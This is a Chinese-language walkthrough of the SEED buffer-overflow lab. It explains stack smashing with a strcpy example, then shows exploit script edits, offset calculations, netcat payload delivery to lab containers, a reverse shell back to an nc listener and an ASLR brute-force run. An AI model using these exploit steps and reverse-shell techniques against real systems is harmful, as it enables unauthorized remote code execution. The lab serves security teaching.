SEED(2)-缓冲区溢出攻击(Buffer-Overflow Attack)

1. 漏洞原理

漏洞代码示例：

#include<string.h>
void foo(char *str)
{char buffer[12];strcpy(buffer, str);
}
int main()
{char *str = "This is definitely longer than 12";foo(str);return 1;
}

当把str的内容copy到buffer中，由于str的长度大于12，就会造成缓冲区buffer的溢出，str中多出的部分会存放在缓冲区的上方，我们的目的就是将代码植入到此处，然后让函数的return Address指向我们存放代码的地址A来执行code！

A：code的起始地址

Nop：指令为0x90，执行该指令时什么都不做，一直往下执行。(在code与foo()之间填满Nop，便于找到地址A，return Address一旦指向其中一个Nop，就会执行到code的地址A)

2. 实验准备

下载实验所需文件：https://wwr.lanzoui.com/iUn5vql6ine

进入到/Buffer_Overflow/Labsetup/server-code路径下，执行：

$ make
$ make install

$ cd .. #进入/Labsetup目录
$ dcbuild
$ dcup

关闭防范机制：memory randomization

$ sudo sysctl -w kernel.randomize_va_space=0

3. Level 1 Attack:Get the Parameters(获取参数)

$ echo hello | nc 10.9.0.5 9090
^C

若执行两次打印出的结果一致且输出地址为0xffffxxxx，则说明memory randomization已关闭；

Container Console

server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd108
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd098
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd108
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd098
server-1-10.9.0.5 | ==== Returned Properly ====

$ cd /Buffer_Overflow/Files
$ vim exploit-L1.py

然后利用ebp 和 Buffer address 计算A的地址(ret)和offset：

ret(A) = 0xffffd108 + 8（min(A) = ebp + 8；max(A) = 517 - len(code)）

offset = 0xffffd108 - 0xffffd098 + 4 = 116(十进制)

修改exploit-L1.py中ret和offset的值并保退出；然后运行：

$ python3 exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090

Container Console

server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd428
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd3b8
server-1-10.9.0.5 | (^_^) SUCCESS SUCCESS (^_^)

若出现上面'(^_^) SUCCESS SUCCESS (^_^)'，说明成功！

Get Revere Shell

修改exploit-L1.py文件ret和A的值：

##################################################################
# Put the shellcode at the end
content[517-len(shellcode):] = shellcode# You need to find the correct address
# This should be the first instruction you want to return to
ret = 0xffffd428+40# You need to calculate the offset
offset = 116L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

新建一个命令行窗口输入$ nc -lnv 7070开启监听

在另外一个窗口向server发送badfile文件

$ python3 exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090

监听窗口输出以下内容，说明成功获取Revere Shell；

Listening on 0.0.0.0 7070
Connection received on 10.9.0.5 51582
root@ec5152748270:/bof#

4. Level 2 Attack : Buffer Size Unknown

$ echo hello | nc 10.9.0.6 9090
^C

Container Console

server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd368
server-2-10.9.0.6 | ==== Returned Properly ====

修改exploit-L2.py文件ret和S的值:

S：ref的个数 = buffersize/4(一个ref为4字节)

ret：BufferAddress + buffersize

##################################################################
# Put the shellcode at the end of the buffer
content[517-len(shellcode):] = shellcode# You need to find the correct address
# This should be the first instruction you want to return to
ret = 0xffffd368+360# Spray the buffer with S number of return addresses
# You need to decide the S value
S = 90
for offset in range(S):content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

$ python3 exploit-L2.py
$ cat badfile | nc 10.9.0.6 9090

Container Console

server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd368
server-2-10.9.0.6 | (^_^) SUCCESS SUCCESS (^_^)

5. Level 3 Attack: 64-bit Server

原理：

$ echo hello | nc 10.9.0.7 9090
^C

Container Console

server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe2d0
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffe200

修改exploit-L3.py文件中的start，ret和offset；

start = 40

offset = ebp - buffer + 8

ret = [buffer，buffer + 40]范围之间任选一个

$ python3 exploit-L3.py
$ cat badfile | nc 10.9.0.7 9090

Container Console

server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe2d0
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffe200
server-3-10.9.0.7 | (^_^) SUCCESS SUCCESS (^_^)

6. Level 4 Attack: Small Buffer(64-bit)

$ echo hello | nc 10.9.0.8 9090
^C

Container Console

server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007fffffffe2b0
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007fffffffe250
server-4-10.9.0.8 | ==== Returned Properly ====

修改exploit-L4.py文件

ret = rbp + 1200

$ python3 exploit-L4.py
$ cat badfile | nc 10.9.0.8 9090

Container Console

server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 517
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007fffffffe2b0
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007fffffffe250
server-4-10.9.0.8 | (^_^) SUCCESS SUCCESS (^_^)

开启防范机制

$ sudo sysctl -w kernel.randomize_va_space=2

执行$ nc -lnv 7070开启监

Listening on 0.0.0.0 7070

修改exploit为reverse shell

新建一个命令行窗口：

$ python3 exploit-L1.py
$ chmod u+x brute-force.sh
$ ./brute-force.sh

我这里总共用时8分12秒：

8 minutes and 12 seconds elapsed.
The program has been running 27296 times so far.
8 minutes and 12 seconds elapsed.
The program has been running 27297 times so far.

成功后监听窗口会返回shell

Connection received on 10.9.0.5 51372
root@ec5152748270:/bof#